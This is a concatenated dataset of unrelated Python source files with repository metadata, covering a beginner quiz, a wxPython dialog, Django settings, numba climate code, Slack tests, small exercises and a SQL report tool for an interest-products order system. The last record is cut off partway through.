# Program: Listagem5_10.py # Author: Ramon R. Valeriano # Description: # Developed: 29/03/2020 - 17:47 # Update: pontos = 0 questoes = 1 while questoes<=3: resposta = input("Resposta da questão %d." %questoes) if questoes == 1 and resposta == "b": pontos+=1 if questoes == 2 and resposta == "a": pontos+=1 if questoes == 3 and respota == "d": questoes+=1 print(pontos)
[ "rrvaleriano@gmail.com" ]
rrvaleriano@gmail.com
162123bf00b0f507d64cb911a05fb43d5cfa08f4
3d9b939c50c8b68bc7110f35a9a5100c7ca163e3
/SetGraphic.py
b7c3a55de18755223a9fc651c365ba91e3e8d8ac
[ "MIT" ]
permissive
mbuckaway/CrossMgr
bbab53e9e858b72b99a9fb239787f8932e50539d
4c64e429eb3215fda1b685c5e684c56f5d0c02cf
refs/heads/master
2020-09-16T00:42:25.100361
2020-01-15T02:24:49
2020-01-15T02:24:49
223,599,605
1
0
MIT
2020-01-08T01:45:22
2019-11-23T14:12:15
Python
UTF-8
Python
false
false
2,366
py
import wx import os import imagebrowser import Utils #------------------------------------------------------------------------------------------------ class SetGraphicDialog( wx.Dialog ): def __init__( self, parent, id = wx.ID_ANY, graphic = None ): wx.Dialog.__init__( self, parent, id, "Set Graphic", style=wx.DEFAULT_DIALOG_STYLE|wx.TAB_TRAVERSAL ) mainSizer = wx.BoxSizer( wx.VERTICAL ) label = wx.StaticText( self, label = _('Graphic to be Displayed in Results (set to blank to use default graphic):') ) mainSizer.Add( label, flag = wx.ALL, border = 4 ) bhh = wx.BoxSizer( wx.HORIZONTAL ) self.chooseButton = wx.Button( self, label = u'{}...'.format(_('Choose')) ) bhh.Add( self.chooseButton, flag = wx.ALL, border = 4 ) self.Bind( wx.EVT_BUTTON, self.onChoose, self.chooseButton ) self.graphic = wx.TextCtrl( self, size=(600,-1) ) if graphic: self.graphic.SetValue( graphic ) bhh.Add( self.graphic, flag = wx.ALL | wx.EXPAND, border = 4 ) mainSizer.Add( bhh ) self.okBtn = wx.Button( self, wx.ID_OK ) self.Bind( wx.EVT_BUTTON, self.onOK, self.okBtn ) self.cancelBtn = wx.Button( self, wx.ID_CANCEL ) self.Bind( wx.EVT_BUTTON, self.onCancel, self.cancelBtn ) bh = wx.StdDialogButtonSizer() bh.AddButton( self.okBtn ) bh.AddButton( self.cancelBtn ) bh.Realize() mainSizer.Add( bh, flag = wx.ALIGN_RIGHT | wx.ALL, border = 4 ) self.SetSizerAndFit( mainSizer ) def GetValue( self ): return self.graphic.GetValue() def onChoose( self, event ): imgPath = self.GetValue() set_dir = os.path.dirname(imgPath) dlg = imagebrowser.ImageDialog( self, set_dir = set_dir ) dlg.ChangeFileTypes([ ('All Formats (GIF, PNG, JPEG)', '*.gif|*.png|*.jpg'), ('GIF (*.gif)', '*.gif'), ('PNG (*.png)', '*.png'), ('JPEG (*.jpg)', '*.jpg') ]) if os.path.isfile(imgPath): dlg.SetFileName( imgPath ) if dlg.ShowModal() == wx.ID_OK: imgPath = dlg.GetFile() self.graphic.SetValue( imgPath ) dlg.Destroy() def onOK( self, event ): self.EndModal( wx.ID_OK ) def onCancel( self, event ): self.EndModal( wx.ID_CANCEL ) if __name__ == '__main__': app = wx.App(False) mainWin = wx.Frame(None,title="CrossMan" ) mainWin.Show() setGraphicDialog = SetGraphicDialog( mainWin, -1, "Set Graphic Dialog Test" ) setGraphicDialog.ShowModal() app.MainLoop()
[ "edward.sitarski@gmail.com" ]
edward.sitarski@gmail.com
3139ad963cfc06b16ac1b3af1353f985a5703fc6
3403fa9258dd3f53ef699423ccff5d8bc9f48e1c
/apiserver/dao/bank_dao.py
a85ec6c3706c3250756c247ed4247db4af0019db
[]
no_license
Jack-liyuanjie/flask-2021
2295b383b6ee3e9c491eefffc9b0dd7a2dae2b52
d786f48ead843faf00018ae30885a4c41869ea4b
refs/heads/master
2023-06-14T06:04:52.647455
2021-07-13T00:50:19
2021-07-13T00:50:19
385,427,218
0
0
null
null
null
null
UTF-8
Python
false
false
187
py
from dao import BaseDao class BankDao(BaseDao): def find_all(self): return super().find_all('bank') if __name__ == '__main__': dao = BankDao() print(dao.find_all())
[ "2311485953@qq.com" ]
2311485953@qq.com
4e0ac3a3ea0512bada790a29f41026c15704458c
971e0efcc68b8f7cfb1040c38008426f7bcf9d2e
/tests/artificial/transf_BoxCox/trend_ConstantTrend/cycle_7/ar_/test_artificial_128_BoxCox_ConstantTrend_7__100.py
1756ed6b826c253119d4cdd1fb54a541271e1805
[ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ]
permissive
antoinecarme/pyaf
a105d172c2e7544f8d580d75f28b751351dd83b6
b12db77cb3fa9292e774b2b33db8ce732647c35e
refs/heads/master
2023-09-01T09:30:59.967219
2023-07-28T20:15:53
2023-07-28T20:15:53
70,790,978
457
77
BSD-3-Clause
2023-03-08T21:45:40
2016-10-13T09:30:30
Python
UTF-8
Python
false
false
266
py
import pyaf.Bench.TS_datasets as tsds import tests.artificial.process_artificial_dataset as art art.process_dataset(N = 128 , FREQ = 'D', seed = 0, trendtype = "ConstantTrend", cycle_length = 7, transform = "BoxCox", sigma = 0.0, exog_count = 100, ar_order = 0);
[ "antoine.carme@laposte.net" ]
antoine.carme@laposte.net
d5b8601b52a1d3840b1a4d8e999278830a932a3d
1431b07074b96c7baa6a43a99717da2a658424af
/test/utils/Test_API_Stack_Dialog.py
c6d4f2b234384d48fd1370b088022a020a3712ed
[ "Apache-2.0" ]
permissive
almeidam/pbx-gs-python-utils
054a7334070627bc27f682ed78c2986230d1cfab
3f8987dd2d1fc27d1d262385280d7303009f5453
refs/heads/master
2020-04-30T10:44:46.179729
2019-03-20T13:59:01
2019-03-20T13:59:01
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,312
py
from unittest import TestCase from utils.slack.API_Slack_Attachment import API_Slack_Attachment from utils.slack.API_Slack_Dialog import API_Slack_Dialog from utils.Lambdas_Helpers import slack_message from utils.aws.Lambdas import Lambdas class Test_API_Slack_Dialog(TestCase): def setUp(self): self.api_attach = API_Slack_Attachment() self.api_dialog = API_Slack_Dialog() def test__update_lambda(self): Lambdas('gs.jira_dialog').update() def test____update_Lambda_Slack_Integration(self): from utils.aws.Lambdas import Lambdas path_libs = '../_lambda_dependencies/elastic-slack' self.jira_issues = Lambdas('gs.slack_interaction', path_libs=path_libs).update() def test_test_render(self): dialog = self.api_dialog.test_render() #Dev.pprint(dialog) def test__create_button_to_test_dialog(self): Lambdas('gs.jira_dialog').update() self.api_attach.set_text ('Click on button below to test dialog' ) \ .set_callback_id("button-dialog-test" ) \ .add_button ("button", "open dialog", "open", "primary") attachments = self.api_attach.render() slack_message("", attachments, 'DDKUZTK6X')
[ "dinis.cruz@owasp.org" ]
dinis.cruz@owasp.org
1a9b848d66661de68037c536553e1b75a5e664f1
35e6598c8f07e686ef4ce431800ece28d2797568
/src/python_inferno/vpd.py
e60f7c307433e35bd81c4b89dd81e0877eaa12af
[]
no_license
akuhnregnier/python-inferno
c7badbed505da602c98180e70aff05061dd1a199
424168231f553d0f872f1a2ec29c26bf3d114f08
refs/heads/main
2023-04-16T03:15:27.427407
2023-01-28T19:15:05
2023-01-28T19:15:05
368,221,337
0
0
null
null
null
null
UTF-8
Python
false
false
3,487
py
# -*- coding: utf-8 -*- import numpy as np from numba import njit, prange, set_num_threads from wildfires.qstat import get_ncpus from .cache import mark_dependency from .configuration import N_pft_groups, land_pts, npft, pft_groups_lengths from .qsat_wat import qsat_wat from .utils import get_pft_group_index # Indexing convention is time, pft, land set_num_threads(get_ncpus()) @njit(nogil=True, parallel=True, cache=True, fastmath=True) @mark_dependency def calculate_grouped_vpd( *, t1p5m_tile, q1p5m_tile, pstar, ): # These are variables to the Goff-Gratch equation a = -7.90298 d = 11.344 c = -1.3816e-07 b = 5.02808 f = 8.1328e-03 h = -3.49149 # Water saturation temperature Ts = 373.16 # Upper boundary to the relative humidity rhum_up = 90.0 # Lower boundary to the relative humidity rhum_low = 10.0 Nt = pstar.shape[0] grouped_vpd = np.zeros((Nt, N_pft_groups, land_pts)) for l in prange(land_pts): for ti in range(Nt): # TODO - warning if this occurs? # The maximum rain rate ever observed is 38mm in one minute, # here we assume 0.5mm/s stops fires altogether # if (inferno_rain > 0.5) or (inferno_rain < 0.0): # continue # TODO - warning if this occurs? # Soil moisture is a fraction of saturation # if (inferno_sm[ti, l] > 1.0) or (inferno_sm[ti, l] < 0.0): # continue for i in range(npft): # Conditional statements to make sure we are dealing with # reasonable weather. Note initialisation to 0 already done. # If the driving variables are singularities, we assume # no burnt area. # TODO - warning if this occurs? # Temperatures constrained akin to qsat (from the WMO) # if (t1p5m_tile[ti, i, l] > 338.15) or (t1p5m_tile[ti, i, l] < 183.15): # continue # Get the tile relative humidity using saturation routine qsat = qsat_wat(t1p5m_tile[ti, i, l], pstar[ti, l]) inferno_rhum = (q1p5m_tile[ti, i, l] / qsat) * 100.0 # TODO - warning if this occurs? # # Relative Humidity should be constrained to 0-100 # if (inferno_rhum > 100.0) or (inferno_rhum < 0.0): # continue TsbyT_l = Ts / t1p5m_tile[ti, i, l] Z_l = ( a * (TsbyT_l - 1.0) + b * np.log10(TsbyT_l) + c * (10.0 ** (d * (1.0 - TsbyT_l)) - 1.0) + f * (10.0 ** (h * (TsbyT_l - 1.0)) - 1.0) ) f_rhum_l = (rhum_up - inferno_rhum) / (rhum_up - rhum_low) # Create boundary limits # First for relative humidity if inferno_rhum < rhum_low: # Always fires for RH < 10% f_rhum_l = 1.0 if inferno_rhum > rhum_up: # No fires for RH > 90% f_rhum_l = 0.0 grouped_vpd[ti, get_pft_group_index(i), l] += (10.0 ** Z_l) * f_rhum_l # Normalise by dividing by the number of PFTs in each group. for pft_group_index in range(N_pft_groups): grouped_vpd[:, pft_group_index] /= pft_groups_lengths[pft_group_index] return grouped_vpd
[ "ahf.kuhnregnier@gmail.com" ]
ahf.kuhnregnier@gmail.com
2c3c1f73eefaddcebd07c78c555609d032adf478
33b7a63d0866f9aabfdfdc342236191bebd1c1e6
/django_learning/chapter05/method_decorator_demo/method_decorator_demo/settings.py
e05fa2cdc8e3f61b924c252a4e62497da072af7e
[]
no_license
leolvcl/leo_python
21f61bb898f8c755d1ff405f90864887e18a317e
5be0d897eeee34d50d835707112fb610de69b4c8
refs/heads/master
2020-08-02T21:00:01.808704
2019-12-06T17:04:59
2019-12-06T17:04:59
211,505,290
0
0
null
null
null
null
UTF-8
Python
false
false
3,410
py
""" Django settings for method_decorator_demo project. Generated by 'django-admin startproject' using Django 2.0.2. For more information on this file, see https://docs.djangoproject.com/en/2.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.0/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.0/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '8m-q54sh&uc2^b19tfuwqy6#wa7*q511bqf80k-@sf(1#vu!%2' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'article' ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', # 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'method_decorator_demo.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR, 'templates')] , 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'method_decorator_demo.wsgi.application' # Database # https://docs.djangoproject.com/en/2.0/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'NAME': 'method_decorator_demo', 'HOST': '127.0.0.1', 'PORT': '3306', 'USER': 'root', 'PASSWORD': 'root' } } # Password validation # https://docs.djangoproject.com/en/2.0/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/2.0/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.0/howto/static-files/ STATIC_URL = '/static/'
[ "lvclleo@gmail.com" ]
lvclleo@gmail.com
60e011f7fe1a484a1cf3b7ed0eb74842808896e7
bea841ddfb21d90abc8d7149b01910f992a39d47
/fileReadTest/reader.py
07509fa0cf72599d8c623aa06477c47125467c69
[]
no_license
KaulitzGuimaraes/Estrutura-de-Arquivos-Proj-Archiver
2d47ef8315f55c63414f62ca5adb3effb5a66488
32c7a41620fb32a56dc3e693f8c1aa430062c774
refs/heads/master
2021-08-22T14:50:10.916312
2017-11-30T12:55:34
2017-11-30T12:55:34
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,124
py
def initialize(): fileText = open('orig.txt', 'w') txtStr = 'Uma string de texto normal' txtStr2 = '\nOutra string' print('\nESCREVENDO EM MODO TEXTO') print(txtStr) print(txtStr2) fileText.write(txtStr) fileText.write(txtStr2) fileText.close() fileBin = open('orig.bin', 'wb') rec = bytes('Uma string de texto em binário'.encode('utf-8')) rec1 = bytes('\nOutra string de texto em binário'.encode('utf-8')) print('\nESCREVENDO EM MODO BINÁRIO') print(rec) print(rec1) fileBin.write(rec) fileBin.write(rec1) fileBin.close() def toOutput(originalFileName, newFileName,): fContent = open(originalFileName, 'rb') fOut = open(newFileName, 'wb') content = fContent.readlines() print('\nLENDO DO ARQUIVO DE ENTRADA:\n {}\n\n'.format(content)) for elem in content: print('W na saída: {}'.format(elem)) fOut.write(elem) fContent.close() fOut.close() initialize() toOutput('orig.bin', 'out.bin') toOutput('orig.txt', 'out.txt') toOutput('img1.png', 'outimg.png') toOutput('index.html', 'outIndex.html')
[ "a166348@g.unicamp.com" ]
a166348@g.unicamp.com
6f433153d5b9d5725afe6deed4d135feb254b3a6
befafdde28c285c049b924fa58ce6240a4ae8d3c
/python_solution/Stack/224_BasicCalculator.py
6795643f801f8f099691c795505a42a306e87b20
[]
no_license
Dimen61/leetcode
3364369bda2255b993581c71e2b0b84928e817cc
052bd7915257679877dbe55b60ed1abb7528eaa2
refs/heads/master
2020-12-24T11:11:10.663415
2017-08-15T14:54:41
2017-08-15T14:54:41
73,179,221
4
0
null
null
null
null
UTF-8
Python
false
false
791
py
class Solution(object): def calculate(self, s): """ :type s: str :rtype: int """ total = 0 num = 0 sign = 1 sign_stack = [1] for c in s: if c == ' ': pass elif c in '+-': total += sign * num num = 0 sign = sign_stack[-1] * (1 if c == '+' else -1) elif c == '(': sign_stack.append(sign) elif c == ')': sign_stack.pop() elif c.isdigit(): num = num * 10 + int(c) total += sign * num return total a = Solution() print(a.calculate(" ( 3 ) ")) # print(a.calculate("5 ")) # print(a.calculate('1')) # print(a.calculate('(1)'))
[ "dimen61@gmail.com" ]
dimen61@gmail.com
b5e48386e73920bc685eb86a15667c316892aebc
80f53e7ea872dc18e45bd810ebb2073dac773f71
/business_modle/querytool/yqfqy/quanyi.py
f45941ba1177d33154bb8f7cb3f1e000a5f912cb
[]
no_license
dengjinyi4/Test_Plantfrom
30ca560b157b6f7026e6f05bc3ace10c63894d11
eb49d08ceb5cba44ce48178ed79c2e79a596de69
refs/heads/master
2021-06-13T07:34:55.840837
2021-03-09T06:41:54
2021-03-09T06:41:54
144,958,663
2
1
null
null
null
null
UTF-8
Python
false
false
7,408
py
# -*- coding: utf-8 -*- __author__ = 'jinyi' from business_modle.querytool import db import requests as r import datetime from dateutil.relativedelta import relativedelta from openpyxl import Workbook,load_workbook import os class quanyi(object): def __init__(self,env=''): self.env=env # 导出excel def exportexcel(self,filed,res,excelname): if len(res)<>0: res=list(res) # res.insert(0,headtr) res.insert(0,filed) wb=Workbook() sheet=wb.active for i in range(len(res)): sheet.append(res[i]) try: # wb.save("../../../static/result/reportall.xlsx") wb.save("./static/result/{0}.xlsx".format(excelname)) except Exception as e: print e.message return '' def dubtolist(self,re): tmp=[] for i in re: tmp.append(list(i)) return tmp def selectre(self,tmpsql): if self.env=='test': res,filed=db.selectsqlnew('testquanyi',tmpsql) res=self.dubtolist(res) else: res,filed=db.selectsqlnew('devquanyi',tmpsql) res=self.dubtolist(res) return res,filed # 查询权益订单 def georder(self): tmpsql=''' SELECT o.ORDER_NO 订单对外唯一标识,o.OPEN_ID 微信openid,o.PRODUCT_ID 商品id ,o.SHOP_SHORT_NAME 商家名称 ,o.SHOP_PRODUCT_ID 商家商品id , o.RECOMMEND_WEBSITE_ID 推荐人站点id ,o.FEEDBACK_TAG 反馈标签 ,o.PRICE_CURRENT 商品现价 ,o.TOTAL_AMOUNT 购买商品数量 , o.TOTAL_MONEY 实付金额 ,o.PRICE_REAL 商品采购价,o.COMMISSION 佣金金额 ,o.ACCOUNT_TYPE 充值账号类型 ,o.ACCOUNT_NUMBER 充值账号 ,o.PAY_TYPE 支付方式 , o.PAY_CALL_TIME 支付唤起时间 ,o.PAY_TIME 支付时间,o.PAY_NODIFY_TIME 支付反馈时间,o.PAY_ORDER_NO 支付流水号,o.PAY_REMARK 支付备注,o.SHOP_ORDER_CALL_TIME 商家下单调用时间, o.SHOP_ORDER_FINISH_TIME 商家下单完成时间,o.SHOP_ORDER_STATUS_GET_TIME 商家下单状态获取时间,o.SHOP_ORDER_NO 商家订单号,o.SHOP_REMARK 商家备注, o.CREATE_TIME 创建时间,o.UPDATE_TIME 最后更新时间, case ORDER_STATUS WHEN 1 THEN '生成' WHEN 2 THEN '确认' END as 平台订单状态, case PAY_STATUS WHEN 0 THEN '0未调用' WHEN 1 THEN '1待支付' WHEN 2 THEN '2已支付' WHEN 3 THEN '3支付失败' WHEN 4 THEN '4退款中' WHEN 6 THEN '6退款成功' END as 支付状态, case SHOP_ORDER_STATUS WHEN 0 THEN '0未调用' WHEN 1 THEN '1未处理' WHEN 2 THEN '2处理中' WHEN 3 THEN '3成功' WHEN 4 THEN '4失败' END as 商家订单状态, case BRAND_TYPE WHEN 1 THEN '1直冲' WHEN 2 THEN '2卡密' END as 品牌类型,o.PHONE 手机号,o.PRODUCT_NAME 商品名称, de.CARD_NO 卡号,de.CARD_SECRET 密码,de.VALIDITY_TIME 有效期,de.CREATE_TIME 创建时间, case COUPON_TYPE WHEN 0 THEN '0二维码' WHEN 1 THEN '1条形码' WHEN 2 THEN '2条形码和二维码' WHEN 3 THEN '3卡券URL地址' WHEN 4 THEN '4只包含密码' WHEN 5 THEN '5卡号和密码' END as 卡类型 FROM interest_order o, interest_card_detail de where o.ORDER_NO=de.ORDER_NO ORDER BY o.CREATE_TIME desc;''' res,filed=self.selectre(tmpsql) # res=self.getresfloadtoint(res) # self.exportexcel(filed,res,"reportall") return res,filed,tmpsql # 查询权益中的商品 def geproduct(self): tmpsql=''' SELECT b.id '品牌id',b.BRAND_NAME '品牌名称',b.BRAND_DESC '品牌描述', CASE CATEGORY_ID when 1 THEN '视频专区' when 2 THEN '文娱专区' when 3 THEN '旅游餐饮专区' end as '类目', b.BRAND_IMG '品牌', b.CREATE_TIME '创建时间', case b.BRAND_STATUS when 1 THEN '有效' WHEN 0 THEN '无效' END as '品牌状态', case b.BRAND_TYPE when 1 THEN '直冲' WHEN 2 THEN '卡密' END as '类型', b.PRIORITY '权重', b.SPECIAL_PROMPT '特别提示', p.id '商品id', p.PRODUCT_NAME '商品名称', p.SHOP_SHORT_NAME '商家名称', p.PRICE_PRI '商品原价', p.PRICE_CURRENT '商品现价', p.PRICE_REAL '商品采购价', p.PRODUCT_IMG '商品logo', p.NORM1 '规格值1', case p.PRODUCT_STATUS when 1 THEN '有效' WHEN 0 THEN '无效' END as '商品状态', p.PRIORITY '商品权重' -- p.REMARK '商品备注' FROM interest_brand b,interest_product p where b.id=p.BRAND_ID ''' # headtr='''<tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td> # <td align="center" colspan={0}>消耗</td><td align="center" colspan={1}>去除联动平台毛利</td><td align="center" colspan={2}>入口点击成本</td><td align="center" colspan={3}>去除联动毛利率</td></tr>'''.format(colspanx,colspanx,colspanx,colspanx) # print tmpsql res,filed=self.selectre(tmpsql) # res=self.getresfloadtoint(res) # self.exportexcel(filed,res,"reportall") return res,filed,tmpsql def getthirdproduct(self): tmpsql='''SELECT ib.ID 品牌id,ib.BRAND_NAME,ip.ID 商品id,ip.PRODUCT_ID 第三方商品id, case ip.PRODUCT_STATUS when 1 THEN '有效' WHEN 0 THEN '无效' END as '商品状态' FROM interest_product ip ,interest_brand ib where ib.ID=ip.BRAND_ID and ip.SHOP_SHORT_NAME='tq365' ORDER BY ip.PRODUCT_STATUS desc;''' res,filed=self.selectre(tmpsql) # filed=list(filed) filed.append(u'第三方库存') tmp=[] for i in res: num=self.getthirdprodcutstock(int(i[3])) i.append(num) tmp.append(i) return res,filed,tmpsql # 接口返回类似 {"msg":"库存数量:10","code":"0"} 数据,取得库存数量字段 def getthirdprodcutstock(self,productid): url='http://221.122.127.206:18080/365tq/getNum' params={'productId': productid} re=r.get(url=url,params=params) num=re.json()['msg'][5:7] print type(int(num)) return num if __name__ == '__main__': # test=myreport(begintime='2020-04-1',endtime='2020-04-02',adzoneids='21') test=quanyi(env='test') # tmp,filed,tmpsql=test.geproduct() tmp,tmp1=test.getthirdproduct() print tmp,tmp1 # print tmp # print get_date_list('2018-01-01','2018-02-28') # cwd = os.getcwd() # print(cwd) # wb=Workbook() # sheet=wb.active # wb1=load_workbook('reportall.xlsx') # w=wb1["Sheet"] # sheet.merge_cells('J1:L1') # sheet['J1']='消费消费'
[ "13811501646@163.com" ]
13811501646@163.com
15a3be1d4f36325716fa178bc2087471a2ab800b
2638a861e7ac0b37361348babc18212176cb75cb
/utils/parametric.py
19a96de1b8c0bb2cceece226834563081d6202bd
[ "Apache-2.0" ]
permissive
jcarpent/osqp_benchmarks
64de68f111d464810983d2f4ea31962b8646b041
787f46e73ce22bcdc9055a4fea56fc812a7d6e5f
refs/heads/master
2020-04-18T11:50:55.026557
2019-01-31T13:09:21
2019-01-31T13:09:21
167,514,778
0
0
Apache-2.0
2019-01-25T08:43:05
2019-01-25T08:43:04
null
UTF-8
Python
false
false
1,871
py
import os import pandas as pd def print_results_parametric(problem, dimension): """ Print parametric problem results """ print('[%s]' % problem) ws_file = os.path.join('.', 'results', 'parametric_problems', 'OSQP warmstart', problem, 'n%i.csv' % dimension ) no_ws_file = os.path.join('.', 'results', 'parametric_problems', 'OSQP no warmstart', problem, 'n%i.csv' % dimension ) no_ws_df = pd.read_csv(no_ws_file) ws_df = pd.read_csv(ws_file) # Store results results_file = os.path.join(".", "results", "parametric_problems", "%s_results.txt" % problem.lower()) print("Saving statistics to file %s" % results_file) f = open(results_file, "w") f.write(' OSQP (no warm start): \n') f.write(' - median time: %.4e sec\n' % no_ws_df['run_time'].median()) f.write(' - mean time: %.4e sec\n' % no_ws_df['run_time'].mean()) f.write(' - median iter: %d\n' % no_ws_df['iter'].median()) f.write(' - mean iter: %d\n' % no_ws_df['iter'].mean()) f.write(' OSQP (warm start): \n') f.write(' - median time: %.4e sec\n' % ws_df['run_time'].median()) f.write(' - mean time: %.4e sec\n' % ws_df['run_time'].mean()) f.write(' - median iter: %d\n' % ws_df['iter'].median()) f.write(' - mean iter: %d\n' % ws_df['iter'].mean()) f.write(" Speedups\n") f.write(' - median time: %.2f x\n' % (no_ws_df['run_time'].median() / ws_df['run_time'].median())) f.write(' - mean time: %.2f x\n' % (no_ws_df['run_time'].mean() / ws_df['run_time'].mean())) f.close() print("")
[ "bartolomeo.stellato@gmail.com" ]
bartolomeo.stellato@gmail.com
3fc97f15d0b096088b7dd7f1ae93a41f4ceeb780
d554b1aa8b70fddf81da8988b4aaa43788fede88
/5 - Notebooks e Data/1 - Análises numéricas/Arquivos David/Atualizados/logDicas-master/data/2019-1/226/users/4138/codes/1675_2471.py
574c8928df1b501e01a85539ab993a98d5afc612
[]
no_license
JosephLevinthal/Research-projects
a3bc3ca3b09faad16f5cce5949a2279cf14742ba
60d5fd6eb864a5181f4321e7a992812f3c2139f9
refs/heads/master
2022-07-31T06:43:02.686109
2020-05-23T00:24:26
2020-05-23T00:24:26
266,199,309
1
0
null
null
null
null
UTF-8
Python
false
false
385
py
x = int(input("insira a idade:")) y = float(input("insira seu indice de massa corporal:")) print("Entradas:", x, "anos e IMC",y) if(x <= 0 or x > 130 or y <= 0): print("Dados invalidos") elif(x < 45 and y < 22): print("Risco: Baixo") elif(x < 45 and y >= 22): print("Risco: Medio") elif(x >= 45 and y < 22): print("Risco: Medio") elif(x >= 45 and y >= 22): print("Risco: Alto")
[ "jvlo@icomp.ufam.edu.br" ]
jvlo@icomp.ufam.edu.br
3ed6ab485359feeca0517cf3ab1a234bcf82a200
906ea12bcdbe3ea1bf39f489ae4263b3c3cf30b8
/10_october/11_noDups.py
c1207e9071d756ce94d610b97a64447f15ff7920
[]
no_license
dfeusse/codeWarsPython
da14802ef7986390331c5279cf3cb46eeb3fe853
c29de0f48ab89de88106c0504f734df328982bae
refs/heads/master
2016-08-11T11:41:34.501979
2015-10-25T02:30:48
2015-10-25T02:30:48
36,802,152
0
0
null
null
null
null
UTF-8
Python
false
false
1,167
py
''' Return the array/list passed into the function with all duplicates removed. The items in the returned array should be sorted alphabetically, with numbers before strings. The function should remove any null, undefined and invalid values from the array (in JS: all falsey values (NaN, false, undefined, null etc.) have to be removed). If the variable is not an array/list, the function should return a string Not an array ''' def list_de_dup(arr): newArray = [] if isinstance(arr, list) != True: return "Not an array" else: for i in arr: if i not in newArray and i != None: newArray.append(i) return sorted(newArray) listy = ["g", 3, "a", "a"] print(list_de_dup(listy))#, [ 3, 'a', 'g' ]) listy = [1, 2, 3, 4, 1, 2, 3, 4] print(list_de_dup(listy))#, [1, 2, 3, 4]) listy = ["code", "wars", "ain't", None, None, "code", "wars", "ain't","the","same","as","the","rest"] print(list_de_dup(listy))#, ['ain\'t', 'as', 'code', 'rest', 'same', 'the', 'wars']) ''' def exists(it): return it is not None def list_de_dup(list_): if type(list_) != list: return 'Not an array' return sorted( list( set(filter(exists, list_)) )) '''
[ "dfeusse@gmail.com" ]
dfeusse@gmail.com
e2f8bc0ec3b2c30918dab8c6cb685b9a903354d3
185452958184317ea68aba61f58dc2e136a8ae39
/shopping_cart.py
395a45e3d49b53b36979d4f6da8adc896aedb370
[]
no_license
madhavinamballa/de_anza_pythonbootcamp
ce8337d23d83198d99015e3fe0ad76e1efe84205
362d9d2cf413b4b09c6c92fbe2125486789b4f4e
refs/heads/master
2022-11-25T22:09:28.156887
2020-07-10T15:29:43
2020-07-10T15:29:43
277,613,497
0
0
null
null
null
null
UTF-8
Python
false
false
916
py
# https://www.codegrepper.com/code-examples/python/%27python3%27+is+not+recognized+as+an+internal+or+external+command%2C grocery_item = {} grocery_history = [] stop = False while not stop: item_name = input("Item name:\n") quantity = input("Quantity purchased:\n") cost = input("Price per item:\n") grocery_item = {'name':item_name, 'number': int(quantity), 'price': float(cost)} grocery_history.append(grocery_item) user_input = input("Would you like to enter another item?\nType 'c' for continue or 'q' to quit:\n") if user_input == 'q': stop = True grand_total = 0 for index, item in enumerate(grocery_history): item_total = item['number'] * item['price'] grand_total = grand_total + item_total print('%d %s @ $%.2f ea $%.2f' % (item['number'], item['name'], item['price'], item_total)) item_total = 0 print('Grand total: $%.2f' % grand_total)
[ "you@example.com" ]
you@example.com
ed67b5e3ce51588582dfebaff12458a41aad2690
fb2d3b0feb32ade14fe1bdae89e64c44641ad57d
/models/work_openapc.py
cd7e3c555bd3a03a4d0816030f7eeb10090ea467
[ "MIT" ]
permissive
ourresearch/openalex-guts
732f3dc22c4d27304fc0d2c62d4284abbe3f5532
8401eb17ef60ab2c4d2fb6d647569d28ffbc8775
refs/heads/main
2023-09-01T20:03:57.070913
2023-08-30T02:45:17
2023-08-30T02:45:17
414,304,009
87
9
MIT
2023-07-31T14:33:55
2021-10-06T17:14:39
Python
UTF-8
Python
false
false
360
py
from app import db class WorkOpenAPC(db.Model): __table_args__ = {'schema': 'mid'} __tablename__ = "work_openapc" paper_id = db.Column(db.BigInteger, db.ForeignKey("mid.work.paper_id"), primary_key=True) doi = db.Column(db.Text) year = db.Column(db.Integer) apc_in_euro = db.Column(db.Integer) apc_in_usd = db.Column(db.Integer)
[ "caseym@gmail.com" ]
caseym@gmail.com
c0b091b45749ecb4fa561c1c80c6eeb4849758cc
25970b0796082ed43e7662834b613e651fdcf648
/0427/either/issue/admin.py
4c6e0259aad1d6608e345557e506b80ed5055c68
[]
no_license
ttppggnnss/django_practice
41668c6a5debced09ad999b68fc2ce2a84c4ef55
737e9a706688853bcfc21162ec815c103ca8e5eb
refs/heads/master
2022-12-14T13:23:10.805575
